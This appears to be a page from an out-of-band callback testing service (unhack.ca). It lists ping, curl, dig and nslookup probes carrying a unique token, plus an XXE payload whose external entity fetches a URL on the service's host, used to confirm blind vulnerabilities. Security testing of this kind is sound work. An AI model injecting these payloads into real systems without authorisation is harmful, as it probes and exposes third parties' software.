$ ping -c1 -p 00b8468f2ab1da13a657b2f98459ff00 unhack.ca
 
$ curl http://unhack.ca/p/b8468f2ab1da13a657b2f98459ff
 
$ dig b8468f2ab1da13a657b2f98459ff @unhack.ca
 
$ dig b8468f2ab1da13a657b2f98459ff.ns.unhack.ca
 
C:\> nslookup b8468f2ab1da13a657b2f98459ff unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b8468f2ab1da13a657b2f98459ff">]>
    <foo>&xxe;</foo>
Waiting for ping...